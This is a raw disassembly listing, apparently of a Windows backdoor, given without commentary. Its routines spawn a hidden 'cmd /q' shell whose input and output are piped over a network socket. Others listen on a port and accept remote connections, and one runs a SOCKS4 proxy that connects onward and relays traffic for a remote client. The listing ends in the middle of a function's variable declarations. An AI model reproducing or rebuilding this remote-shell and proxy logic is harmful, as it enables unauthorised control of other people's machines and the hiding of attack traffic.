lea eax, [ebp+74h+Source]
push eax
call sub_417D70
push esi ; int
lea eax, [ebp+74h+Source]
push 9 ; int
push eax ; Source
call sub_40AE85
mov ecx, [ebp+74h+var_50]
mov [ebp+74h+var_4C], eax
imul eax, 234h
add esp, 24h
mov dword_4444EC[eax], ecx
lea eax, [ebp+74h+var_38]
push eax
push edi
lea eax, [ebp+74h+var_218]
push eax
push offset sub_413848
push edi
lea eax, [ebp+74h+var_14]
push eax
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+74h+var_4C]
imul ecx, 234h
cmp eax, edi
mov dword_4444FC[ecx], eax
jnz short loc_413C37
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax ; Args
push offset asc_434D44 ; "-"
call sub_417DE4
pop ecx
pop ecx
jmp short loc_413C60
; ---------------------------------------------------------------------------
loc_413C2F: ; CODE XREF: sub_413A51+1E9j
push 32h
call ds:dword_42B014 ; Sleep
loc_413C37: ; CODE XREF: sub_413A51+1C7j
cmp [ebp+74h+var_3C], edi
jz short loc_413C2F
loc_413C3C: ; CODE XREF: sub_413A51+121j
; sub_413A51+13Ej
lea eax, [ebp+74h+var_4]
push eax
lea eax, [ebp+74h+var_34]
push eax
push [ebp+74h+arg_0]
mov [ebp+74h+var_4], ebx
call dword_4440BC ; accept
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz loc_413B77
jmp short loc_413C60
; ---------------------------------------------------------------------------
loc_413C5D: ; CODE XREF: sub_413A51+C7j
; sub_413A51+EAj ...
mov esi, [ebp+74h+arg_0]
loc_413C60: ; CODE XREF: sub_413A51+1DCj
; sub_413A51+20Aj
call dword_4441C4 ; WSAGetLastError
push eax
lea eax, [ebp+74h+Source]
push offset asc_434D0C ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+74h+var_40], edi
jnz short loc_413CA0
push edi ; int
push [ebp+74h+var_44] ; int
lea eax, [ebp+74h+Source]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_218] ; int
call sub_40123B
add esp, 14h
loc_413CA0: ; CODE XREF: sub_413A51+22Dj
lea eax, [ebp+74h+Source]
push eax
call sub_417D70
pop ecx
push esi
call dword_444218 ; closesocket
push [ebp+74h+arg_0]
call dword_444218 ; closesocket
call dword_444224 ; WSACleanup
push [ebp+74h+var_50]
call sub_40B149
pop ecx
push edi
loc_413CCD: ; CODE XREF: sub_413A51+56j
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_413A51 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413CD4 proc near ; CODE XREF: sub_413F5A+98p
Dst = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_2C = dword ptr -2Ch
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 58h
push esi
push edi
push 44h
pop edi
xor esi, esi
push edi ; Size
lea eax, [ebp+Dst]
push esi ; Val
push eax ; Dst
mov [ebp+var_4], esi
call _memset
push 10h ; Size
lea eax, [ebp+var_14]
push esi ; Val
push eax ; Dst
call _memset
mov eax, [ebp+arg_0]
add esp, 18h
push esi
push 1
mov [ebp+var_20], eax
push 2
lea eax, [ebp+var_18]
mov [ebp+Dst], edi
mov edi, ds:dword_42B09C
push eax
mov [ebp+var_54], esi
mov [ebp+var_4C], esi
mov [ebp+var_50], esi
mov [ebp+var_3C], esi
mov [ebp+var_40], esi
mov [ebp+var_44], esi
mov [ebp+var_48], esi
mov [ebp+var_28], si
mov [ebp+var_24], esi
mov [ebp+var_26], si
mov [ebp+var_2C], 101h
mov [ebp+var_1C], ebx
call edi ; GetCurrentProcess
push eax
push ebx
call edi ; GetCurrentProcess
push eax
call ds:dword_42B098 ; DuplicateHandle
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+Dst]
push eax
push esi
push esi
push esi
push 1
push esi
push esi
push offset aCmdQ ; "cmd /q"
push esi
call ds:dword_42B008 ; CreateProcessA
test eax, eax
jz short loc_413D8C
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_C]
imul eax, 234h
push [ebp+var_10]
mov esi, [ebp+var_14]
mov dword_4444F0[eax], ecx
call ds:dword_42B004 ; CloseHandle
jmp short loc_413DA2
; ---------------------------------------------------------------------------
loc_413D8C: ; CODE XREF: sub_413CD4+96j
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax ; Args
push offset asc_434E70 ; "-"
call sub_417DE4
mov esi, [ebp+var_4]
pop ecx
pop ecx
loc_413DA2: ; CODE XREF: sub_413CD4+B6j
pop edi
mov eax, esi
pop esi
leave
retn
sub_413CD4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_413DA8 proc near ; DATA XREF: sub_414056+3Fo
var_1B0 = byte ptr -1B0h
var_C8 = byte ptr -0C8h
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 1B0h
push ebx
mov ebx, ds:dword_42B080
push esi
push edi
mov edi, [ebp+74h+arg_0]
jmp short loc_413E0A
; ---------------------------------------------------------------------------
loc_413DC1: ; CODE XREF: sub_413DA8+77j
xor eax, eax
xor dl, dl
xor esi, esi
cmp [ebp+74h+arg_0], eax
jbe short loc_413DF3
loc_413DCC: ; CODE XREF: sub_413DA8+49j
mov cl, [ebp+esi+74h+var_C8]
cmp cl, 0Ah
jnz short loc_413DE3
cmp dl, 0Dh
jz short loc_413DE3
mov [ebp+eax+74h+var_1B0], 0Dh
inc eax
loc_413DE3: ; CODE XREF: sub_413DA8+2Bj
; sub_413DA8+30j
mov [ebp+eax+74h+var_1B0], cl
inc eax
inc esi
cmp esi, [ebp+74h+arg_0]
mov dl, cl
jb short loc_413DCC
loc_413DF3: ; CODE XREF: sub_413DA8+22j
push 0
push eax
lea eax, [ebp+74h+var_1B0]
push eax
push dword ptr [edi+0Ch]
call dword_4441A0 ; send
test eax, eax
jle short loc_413E21
loc_413E0A: ; CODE XREF: sub_413DA8+17j
push 0
lea eax, [ebp+74h+arg_0]
push eax
push 0C8h
lea eax, [ebp+74h+var_C8]
push eax
push dword ptr [edi]
call ebx ; ReadFile
test eax, eax
jnz short loc_413DC1
loc_413E21: ; CODE XREF: sub_413DA8+60j
mov esi, ds:dword_42B01C
call esi ; RtlGetLastWin32Error
cmp eax, 6Dh
jz short loc_413E3D
call esi ; RtlGetLastWin32Error
push eax ; Args
push offset asc_434EB0 ; "-"
call sub_417DE4
pop ecx
pop ecx
loc_413E3D: ; CODE XREF: sub_413DA8+84j
pop edi
pop esi
pop ebx
add ebp, 74h
leave
retn
sub_413DA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_413E45 proc near ; DATA XREF: sub_414056+75o
var_DC = byte ptr -0DCh
var_14 = byte ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_5 = byte ptr -5
var_4 = byte ptr -4
var_3 = byte ptr -3
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 0DCh
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+74h+arg_0]
xor esi, esi
mov [ebp+74h+var_10], ebx
jmp loc_413F37
; ---------------------------------------------------------------------------
loc_413E62: ; CODE XREF: sub_413E45+107j
cmp [ebp+74h+var_10], ebx
jbe short loc_413E6F
dec [ebp+74h+var_10]
jmp loc_413F3A
; ---------------------------------------------------------------------------
loc_413E6F: ; CODE XREF: sub_413E45+20j
mov al, byte ptr [ebp+74h+arg_0+3]
movsx ecx, al
cmp ecx, 0FFh
jz loc_413F22
cmp al, 8
mov [ebp+74h+var_C], ebx
jz short loc_413ED9
cmp al, 7Fh
jz short loc_413ED9
cmp al, 3
jnz short loc_413E9A
push ebx
push ebx
call ds:dword_42B0CC ; GenerateConsoleCtrlEvent
jmp short loc_413F00
; ---------------------------------------------------------------------------
loc_413E9A: ; CODE XREF: sub_413E45+49j
cmp al, 15h
jnz short loc_413EBC
xor esi, esi
mov [ebp+74h+var_8], 20h
mov [ebp+74h+var_7], 58h
mov [ebp+74h+var_6], 58h
mov [ebp+74h+var_5], 58h
mov [ebp+74h+var_4], 0Dh
mov [ebp+74h+var_3], 0Ah
push 6
jmp short loc_413EEC
; ---------------------------------------------------------------------------
loc_413EBC: ; CODE XREF: sub_413E45+57j
xor ecx, ecx
mov [ebp+esi+74h+var_DC], al
inc esi
inc ecx
cmp al, 0Dh
mov [ebp+74h+var_8], al
jnz short loc_413EED
mov [ebp+esi+74h+var_DC], 0Ah
mov [ebp+74h+var_7], 0Ah
inc esi
push 2
jmp short loc_413EEC
; ---------------------------------------------------------------------------
loc_413ED9: ; CODE XREF: sub_413E45+41j
; sub_413E45+45j
cmp esi, ebx
jbe short loc_413F03
dec esi
mov [ebp+74h+var_8], 8
mov [ebp+74h+var_7], 20h
mov [ebp+74h+var_6], 8
push 3
loc_413EEC: ; CODE XREF: sub_413E45+75j
; sub_413E45+92j
pop ecx
loc_413EED: ; CODE XREF: sub_413E45+84j
push ebx
push ecx
lea eax, [ebp+74h+var_8]
push eax
push dword ptr [edi+0Ch]
call dword_4441A0 ; send
test eax, eax
jle short loc_413F52
loc_413F00: ; CODE XREF: sub_413E45+53j
mov al, byte ptr [ebp+74h+arg_0+3]
loc_413F03: ; CODE XREF: sub_413E45+96j
cmp al, 0Dh
jnz short loc_413F3A
push ebx
lea eax, [ebp+74h+var_14]
push eax
push esi
lea eax, [ebp+74h+var_DC]
push eax
push dword ptr [edi+4]
call ds:dword_42B084 ; WriteFile
test eax, eax
jz short loc_413F52
xor esi, esi
jmp short loc_413F3A
; ---------------------------------------------------------------------------
loc_413F22: ; CODE XREF: sub_413E45+36j
cmp [ebp+74h+var_C], ebx
jnz short loc_413F30
mov [ebp+74h+var_C], 1
jmp short loc_413F3A
; ---------------------------------------------------------------------------
loc_413F30: ; CODE XREF: sub_413E45+E0j
mov [ebp+74h+var_10], 0Ah
loc_413F37: ; CODE XREF: sub_413E45+18j
mov [ebp+74h+var_C], ebx
loc_413F3A: ; CODE XREF: sub_413E45+25j
; sub_413E45+C0j ...
push ebx
push 1
lea eax, [ebp+74h+arg_0+3]
push eax
push dword ptr [edi+0Ch]
call dword_444064 ; recv
test eax, eax
jg loc_413E62
loc_413F52: ; CODE XREF: sub_413E45+B9j
; sub_413E45+D7j
pop edi
pop esi
pop ebx
add ebp, 74h
leave
retn
sub_413E45 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413F5A proc near ; CODE XREF: sub_414056+Dp
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push edi
xor edi, edi
push 18h ; Size
mov [ebp+var_4], edi
mov [ebp+var_8], edi
call _malloc
mov esi, eax
cmp esi, edi
pop ecx
jnz short loc_413F7F
xor eax, eax
jmp loc_414052
; ---------------------------------------------------------------------------
loc_413F7F: ; CODE XREF: sub_413F5A+1Cj
push ebx
push edi
lea eax, [ebp+var_14]
push eax
lea eax, [ebp+var_8]
mov [esi], edi
push eax
lea ebx, [esi+4]
mov [ebx], edi
push esi
mov [ebp+var_14], 0Ch
mov [ebp+var_10], edi
mov [ebp+var_C], 1
call ds:dword_42B0A0 ; CreatePipe
test eax, eax
mov edi, ds:dword_42B004
jnz short loc_413FC0
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
push offset unk_434F58
jmp short loc_413FE1
; ---------------------------------------------------------------------------
loc_413FC0: ; CODE XREF: sub_413F5A+56j
push 0
lea eax, [ebp+var_14]
push eax
push ebx
lea eax, [ebp+var_4]
push eax
call ds:dword_42B0A0 ; CreatePipe
test eax, eax
jnz short loc_413FE9
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax ; Args
push offset asc_434F14 ; "-"
loc_413FE1: ; CODE XREF: sub_413F5A+64j
call sub_417DE4
pop ecx
jmp short loc_414016
; ---------------------------------------------------------------------------
loc_413FE9: ; CODE XREF: sub_413F5A+79j
push [ebp+arg_0]
mov ebx, [ebp+var_8]
push [ebp+var_4]
call sub_413CD4
pop ecx
pop ecx
mov [esi+8], eax
push [ebp+var_4]
call edi ; CloseHandle
push [ebp+var_8]
call edi ; CloseHandle
cmp dword ptr [esi+8], 0
jnz short loc_41404B
push offset unk_434EEC
call sub_417D70
loc_414016: ; CODE XREF: sub_413F5A+8Dj
cmp [ebp+var_4], 0
pop ecx
jz short loc_414022
push [ebp+var_4]
call edi ; CloseHandle
loc_414022: ; CODE XREF: sub_413F5A+C1j
cmp [ebp+var_8], 0
jz short loc_41402D
push [ebp+var_8]
call edi ; CloseHandle
loc_41402D: ; CODE XREF: sub_413F5A+CCj
mov eax, [esi]
test eax, eax
jz short loc_414036
push eax
call edi ; CloseHandle
loc_414036: ; CODE XREF: sub_413F5A+D7j
mov eax, [esi+4]
test eax, eax
jz short loc_414040
push eax
call edi ; CloseHandle
loc_414040: ; CODE XREF: sub_413F5A+E1j
push esi ; Memory
call _free
pop ecx
xor eax, eax
jmp short loc_414051
; ---------------------------------------------------------------------------
loc_41404B: ; CODE XREF: sub_413F5A+B0j
or dword ptr [esi+0Ch], 0FFFFFFFFh
mov eax, esi
loc_414051: ; CODE XREF: sub_413F5A+EFj
pop ebx
loc_414052: ; CODE XREF: sub_413F5A+20j
pop edi
pop esi
leave
retn
sub_413F5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_414056 proc near ; CODE XREF: sub_413848+1B9p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push edi
call sub_413F5A
imul edi, 234h
mov esi, eax
mov eax, dword_4444F4[edi]
mov edi, ds:dword_42B03C
xor ebx, ebx
pop ecx
mov [ebp+var_C], 0Ch
mov [ebp+var_8], ebx
mov [ebp+var_4], ebx
mov [esi+0Ch], eax
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_413DA8
push ebx
lea eax, [ebp+var_C]
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+10h], eax
jnz short loc_4140C5
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax ; Args
push offset asc_434FD0 ; "-"
call sub_417DE4
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
xor eax, eax
jmp loc_4141A5
; ---------------------------------------------------------------------------
loc_4140C5: ; CODE XREF: sub_414056+50j
lea eax, [ebp+arg_0]
push eax
push ebx
push esi
push offset sub_413E45
push ebx
lea eax, [ebp+var_C]
push eax
call edi ; CreateThread
cmp eax, ebx
mov [esi+14h], eax
jnz short loc_414106
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax ; Args
push offset asc_434FD0 ; "-"
call sub_417DE4
or dword ptr [esi+0Ch], 0FFFFFFFFh
pop ecx
pop ecx
push ebx
push dword ptr [esi+14h]
call ds:dword_42B028 ; TerminateThread
xor eax, eax
jmp loc_4141A6
; ---------------------------------------------------------------------------
loc_414106: ; CODE XREF: sub_414056+86j
mov eax, [esi+10h]
mov [ebp+var_18], eax
mov eax, [esi+14h]
mov [ebp+var_14], eax
mov eax, [esi+8]
push 0FFFFFFFFh
mov [ebp+var_10], eax
push ebx
lea eax, [ebp+var_18]
push eax
push 3
call ds:dword_42B0D0 ; WaitForMultipleObjects
sub eax, ebx
jz short loc_414160
dec eax
jz short loc_41415A
dec eax
jz short loc_414146
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax ; Args
push offset asc_434F98 ; "-"
call sub_417DE4
pop ecx
pop ecx
jmp short loc_414175
; ---------------------------------------------------------------------------
loc_414146: ; CODE XREF: sub_414056+D9j
mov edi, ds:dword_42B028
push ebx
push dword ptr [esi+14h]
call edi ; TerminateThread
push ebx
push dword ptr [esi+10h]
call edi ; TerminateThread
jmp short loc_414175
; ---------------------------------------------------------------------------
loc_41415A: ; CODE XREF: sub_414056+D6j
push ebx
push dword ptr [esi+10h]
jmp short loc_414164
; ---------------------------------------------------------------------------
loc_414160: ; CODE XREF: sub_414056+D3j
push ebx
push dword ptr [esi+14h]
loc_414164: ; CODE XREF: sub_414056+108j
call ds:dword_42B028 ; TerminateThread
push 1
push dword ptr [esi+8]
call ds:dword_42B094 ; TerminateProcess
loc_414175: ; CODE XREF: sub_414056+EEj
; sub_414056+102j
push dword ptr [esi+10h]
mov edi, ds:dword_42B004
call edi ; CloseHandle
push dword ptr [esi+14h]
call edi ; CloseHandle
push dword ptr [esi+8]
call edi ; CloseHandle
push dword ptr [esi]
call edi ; CloseHandle
push dword ptr [esi+4]
call edi ; CloseHandle
push dword ptr [esi+0Ch]
call dword_444218 ; closesocket
push esi ; Memory
call _free
xor eax, eax
inc eax
loc_4141A5: ; CODE XREF: sub_414056+6Aj
pop ecx
loc_4141A6: ; CODE XREF: sub_414056+ABj
pop edi
pop esi
pop ebx
leave
retn
sub_414056 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=70h
sub_4141AB proc near ; CODE XREF: sub_4142A9+1F6p
Dst = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
lea ebp, [esp-70h]
sub esp, 504h
push ebx
mov ebx, [ebp+70h+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4141C3: ; CODE XREF: sub_4141AB+C0j
; sub_4141AB+F0j
xor ecx, ecx
inc ecx
mov [ebp+70h+var_100], ebx
mov [ebp+70h+var_104], ecx
xor eax, eax
loc_4141D4: ; CODE XREF: sub_4141AB+38j
mov edx, [ebp+70h+arg_0]
cmp [ebp+eax*4+70h+var_100], edx
jz short loc_4141E5
inc eax
cmp eax, ecx
jb short loc_4141D4
loc_4141E5: ; CODE XREF: sub_4141AB+33j
cmp eax, ecx
jnz short loc_4141F9
mov [ebp+70h+var_FC], edx
mov [ebp+70h+var_104], 2
loc_4141F9: ; CODE XREF: sub_4141AB+3Cj
push esi ; Size
lea eax, [ebp+70h+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push edi
push edi
push edi
lea eax, [ebp+70h+var_104]
push eax
push edi
call dword_4441B0 ; select
lea eax, [ebp+70h+var_104]
push eax
push ebx
call dword_44415C ; __WSAFDIsSet
test eax, eax
jz short loc_414259
push edi
push esi
lea eax, [ebp+70h+Dst]
push eax
push ebx
call dword_444064 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_4142A1
push edi
push eax
lea eax, [ebp+70h+Dst]
push eax
push [ebp+70h+arg_0]
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4142A1
loc_414259: ; CODE XREF: sub_4141AB+80j
lea eax, [ebp+70h+var_104]
push eax
push [ebp+70h+arg_0]
call dword_44415C ; __WSAFDIsSet
test eax, eax
jz loc_4141C3
push edi
push esi
lea eax, [ebp+70h+Dst]
push eax
push [ebp+70h+arg_0]
call dword_444064 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_4142A1
push edi
push eax
lea eax, [ebp+70h+Dst]
push eax
push ebx
call dword_4441A0 ; send
cmp eax, 0FFFFFFFFh
jnz loc_4141C3
loc_4142A1: ; CODE XREF: sub_4141AB+95j
; sub_4141AB+ACj ...
pop edi
pop esi
pop ebx
add ebp, 70h
leave
retn
sub_4141AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame fpd=74h
sub_4142A9 proc near ; DATA XREF: sub_4144B2+142o
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_4D0 = byte ptr -4D0h
var_4CF = byte ptr -4CFh
var_4CE = word ptr -4CEh
var_4CC = dword ptr -4CCh
Dst = byte ptr -4C8h
var_C8 = byte ptr -0C8h
Str2 = byte ptr -44h
var_2C = dword ptr -2Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 5D4h
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
push 2Ch
pop ecx
mov esi, eax
lea edi, [ebp+74h+var_C8]
rep movsd
mov esi, [ebp+74h+var_2C]
mov [ebp+74h+arg_0], esi
imul esi, 234h
xor edi, edi
inc edi
mov [eax+0ACh], edi
mov eax, dword_4444F4[esi]
mov [ebp+74h+var_5D0], eax
xor ebx, ebx
lea eax, [ebp+74h+var_8]
push eax
push ebx
push ebx
lea eax, [ebp+74h+var_5D4]
push eax
push ebx
mov [ebp+74h+var_8], 5
mov [ebp+74h+var_4], ebx
mov [ebp+74h+var_5D4], edi
call dword_4441B0 ; select
test eax, eax
jnz short loc_41431A
push dword_4444F4[esi]
jmp loc_4143B7
; ---------------------------------------------------------------------------
loc_41431A: ; CODE XREF: sub_4142A9+64j
push ebx
push 408h
lea eax, [ebp+74h+var_4D0]
push eax
push dword_4444F4[esi]
call dword_444064 ; recv
test eax, eax
jle short loc_4143B1
cmp [ebp+74h+var_4D0], 4
jnz short loc_4143B1
cmp [ebp+74h+var_4CF], 1
jnz short loc_4143B1
cmp [ebp+74h+Str2], bl
jz short loc_4143CD
lea eax, [ebp+74h+Str2]
push eax ; Str2
lea eax, [ebp+74h+Dst]
push eax ; Str1
call _strcmp
test eax, eax
pop ecx
pop ecx
jz short loc_4143CD
lea eax, [ebp+74h+Str2]
push eax
lea eax, [ebp+74h+Dst]
push eax ; Args
push offset dword_43509C ; Format
call sub_417DE4
push 400h ; Size
lea eax, [ebp+74h+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+74h+var_4D0], bl
mov [ebp+74h+var_4CF], 5Dh
call _memset
add esp, 18h
loc_41439B: ; CODE XREF: sub_4142A9+1B2j
push ebx
push 8
lea eax, [ebp+74h+var_4D0]
push eax
push dword_4444F4[esi]
call dword_4441A0 ; send
loc_4143B1: ; CODE XREF: sub_4142A9+8Cj
; sub_4142A9+95j ...
push dword_4444F4[esi]
loc_4143B7: ; CODE XREF: sub_4142A9+6Cj
call dword_444218 ; closesocket
push [ebp+74h+arg_0]
call sub_40B149
pop ecx
push ebx
call ds:dword_42B068 ; ExitThread
loc_4143CD: ; CODE XREF: sub_4142A9+A3j
; sub_4142A9+B9j
push 10h ; Size
lea eax, [ebp+74h+var_18]
push ebx ; Val
push eax ; Dst
call _memset
mov ax, [ebp+74h+var_4CE]
add esp, 0Ch
push 6
mov [ebp+74h+var_16], ax
mov eax, [ebp+74h+var_4CC]
push edi
push 2
mov [ebp+74h+var_18], 2
mov [ebp+74h+var_14], eax
call dword_444100 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_414416
call dword_4441C4 ; WSAGetLastError
push eax
push offset dword_43505C
jmp short loc_414434
; ---------------------------------------------------------------------------
loc_414416: ; CODE XREF: sub_4142A9+15Dj
push 10h
lea eax, [ebp+74h+var_18]
push eax
push edi
call dword_4440AC ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_414460
call dword_4441C4 ; WSAGetLastError
push eax ; Args
push offset dword_435018 ; Format
loc_414434: ; CODE XREF: sub_4142A9+16Bj
call sub_417DE4
push 400h ; Size
lea eax, [ebp+74h+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+74h+var_4D0], bl
mov [ebp+74h+var_4CF], 5Bh
call _memset
add esp, 14h
jmp loc_41439B
; ---------------------------------------------------------------------------
loc_414460: ; CODE XREF: sub_4142A9+17Dj
push 400h ; Size
lea eax, [ebp+74h+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+74h+var_4D0], bl
mov [ebp+74h+var_4CF], 5Ah
call _memset
add esp, 0Ch
push ebx
push 8
lea eax, [ebp+74h+var_4D0]
push eax
push dword_4444F4[esi]
call dword_4441A0 ; send
push dword_4444F4[esi]
push edi
call sub_4141AB
pop ecx
pop ecx
push edi
call dword_444218 ; closesocket
jmp loc_4143B1
sub_4142A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_4144B2 proc near ; DATA XREF: sub_40274D+29F6o
Source = byte ptr -2D4h
var_D4 = dword ptr -0D4h
Str = byte ptr -0D0h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_28 = dword ptr -28h
var_24 = byte ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
Dst = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 2D4h
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
push 10h
pop ebx
push 2Ch
pop ecx
mov esi, eax
lea edi, [ebp+74h+var_D4]
rep movsd
xor edi, edi
inc edi
push ebx ; Size
mov [eax+0A8h], edi
xor esi, esi
lea eax, [ebp+74h+Dst]
push esi ; Val
push eax ; Dst
mov [ebp+74h+var_4], ebx
call _memset
add esp, 0Ch
push [ebp+74h+var_40]
mov [ebp+74h+Dst], 2
call dword_444260 ; htons
push 6
push edi
push 2
mov [ebp+74h+var_12], ax
mov [ebp+74h+var_10], esi
call dword_444100 ; socket
mov edi, eax
mov eax, [ebp+74h+var_3C]
imul eax, 234h
mov dword_4444F4[eax], edi
push ebx
lea eax, [ebp+74h+Dst]
push eax
push edi
call dword_4441E4 ; bind
test eax, eax
jnz loc_414646
push 0Ah
push edi
call dword_444230 ; listen
test eax, eax
jnz loc_414646
push [ebp+74h+var_40]
push [ebp+74h+var_D4]
call sub_4023C9
pop ecx
push eax
lea eax, [ebp+74h+Source]
push offset asc_42ECF8 ; "-"
push eax ; Dest
call _sprintf
add esp, 10h
cmp [ebp+74h+var_30], esi
jnz short loc_414583
push esi ; int
push [ebp+74h+var_34] ; int
lea eax, [ebp+74h+Source]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_D4] ; int
call sub_40123B
add esp, 14h
loc_414583: ; CODE XREF: sub_4144B2+B5j
; sub_4144B2+17Dj ...
lea eax, [ebp+74h+Source]
push eax
call sub_417D70
pop ecx
lea eax, [ebp+74h+var_4]
push eax
lea eax, [ebp+74h+var_24]
push eax
push edi
call dword_4440BC ; accept
push [ebp+74h+var_3C]
mov ebx, eax
movzx eax, [ebp+74h+var_22]
push eax
push [ebp+74h+var_20]
mov [ebp+74h+var_28], esi
call dword_444188 ; inet_ntoa
push eax
lea eax, [ebp+74h+Source]
push offset asc_435150 ; "-"
push eax ; Dest
call _sprintf
push ebx ; int
lea eax, [ebp+74h+Source]
push 19h ; int
push eax ; Source
call sub_40AE85
mov ecx, [ebp+74h+var_3C]
mov [ebp+74h+var_38], eax
imul eax, 234h
add esp, 20h
mov dword_4444EC[eax], ecx
lea eax, [ebp+74h+arg_0]
push eax
push esi
lea eax, [ebp+74h+var_D4]
push eax
push offset sub_4142A9
push esi
push esi
call ds:dword_42B03C ; CreateThread
mov ecx, [ebp+74h+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_4444FC[ecx], eax
jnz short loc_41463C
call ds:dword_42B01C ; RtlGetLastWin32Error
push eax
lea eax, [ebp+74h+Source]
push offset asc_435110 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_414583
; ---------------------------------------------------------------------------
loc_414634: ; CODE XREF: sub_4144B2+18Dj
push 5
call ds:dword_42B014 ; Sleep
loc_41463C: ; CODE XREF: sub_4144B2+160j
cmp [ebp+74h+var_28], esi
jz short loc_414634
jmp loc_414583
; ---------------------------------------------------------------------------
loc_414646: ; CODE XREF: sub_4144B2+7Aj
; sub_4144B2+8Bj
push edi
call dword_444218 ; closesocket
push [ebp+74h+var_40]
lea eax, [ebp+74h+Source]
push offset asc_4350DC ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+74h+var_30], esi
jnz short loc_414683
push esi ; int
push [ebp+74h+var_34] ; int
lea eax, [ebp+74h+Source]
push eax ; int
lea eax, [ebp+74h+Str]
push eax ; Str
push [ebp+74h+var_D4] ; int
call sub_40123B
add esp, 14h
loc_414683: ; CODE XREF: sub_4144B2+1B5j
lea eax, [ebp+74h+Source]
push eax
call sub_417D70
push [ebp+74h+var_3C]
call sub_40B149
pop ecx
pop ecx
push esi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_4144B2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=74h
sub_4146A1 proc near ; CODE XREF: sub_4146A1:loc_414B0Dp
; DATA XREF: sub_40274D+1F07o ...
var_87C = dword ptr -87Ch
var_878 = dword ptr -878h
Dest = byte ptr -778h
var_578 = byte ptr -578h
var_577 = byte ptr -577h
var_576 = byte ptr -576h
var_575 = byte ptr -575h
DstBuf = byte ptr -574h
var_374 = dword ptr -374h
var_370 = byte ptr -370h
Str = byte ptr -26Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
